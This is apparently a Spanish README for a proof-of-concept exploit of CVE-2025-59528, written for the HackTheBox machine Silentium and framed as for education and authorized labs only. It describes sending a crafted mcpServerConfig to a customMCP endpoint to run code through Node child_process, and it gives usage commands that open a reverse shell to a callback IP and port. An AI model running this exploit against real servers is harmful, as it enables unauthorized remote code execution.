
PoC para CVE-2025-59528 utilizado para lograr la ejecución remota de código en la máquina Silentium en HTB
Solo uso educativo. Este proyecto está destinado a investigación de seguridad controlada, demostraciones en clase y pruebas autorizadas en un laboratorio aislado. No lo utilices contra sistemas, redes, aplicaciones o cuentas que no poseas o para las que no tengas permiso explícito de prueba.
Esta prueba de concepto demuestra cómo un valor mcpServerConfig manejado incorrectamente puede permitir la evaluación de JavaScript en el lado del servidor y la ejecución de comandos a través de la funcionalidad de carga de nodos customMCP.
El script admite dos métodos de autenticación:
Authorization.Después de la autenticación, el script envía una configuración manipulada a /api/v1/node-load-method/customMCP. El payload utiliza la funcionalidad de procesos hijos de Node.js para ejecutar un comando de shell y conectarse de vuelta a un listener controlado por el investigador. Este comportamiento se incluye únicamente para demostrar el impacto potencial en un entorno de laboratorio autorizado.
requests.Instala la dependencia con:
python3 -m pip install requests
Guarda el script como CVE-2025-59528.py.
python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>
Ejemplo con valores solo para documentación:
python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444
python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>
Ejemplo con valores solo para documentación:
python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444
El script espera que estas rutas de la aplicación estén disponibles:
/api/v1/auth/login/api/v1/node-load-method/customMCPEl script actual construye URLs http://. Actualiza la implementación para HTTPS cuando pruebes un despliegue de laboratorio que requiera TLS.
main() valida el número de argumentos de la línea de comandos y selecciona el modo de autenticación.login() envía las credenciales proporcionadas al endpoint de inicio de sesión.tokens() extrae los valores de sesión de la cabecera de respuesta Set-Cookie.shell() construye la solicitud autenticada y envía el valor manipulado mcpServerConfig.bearer() realiza la misma solicitud usando un token Bearer en lugar de cookies de sesión.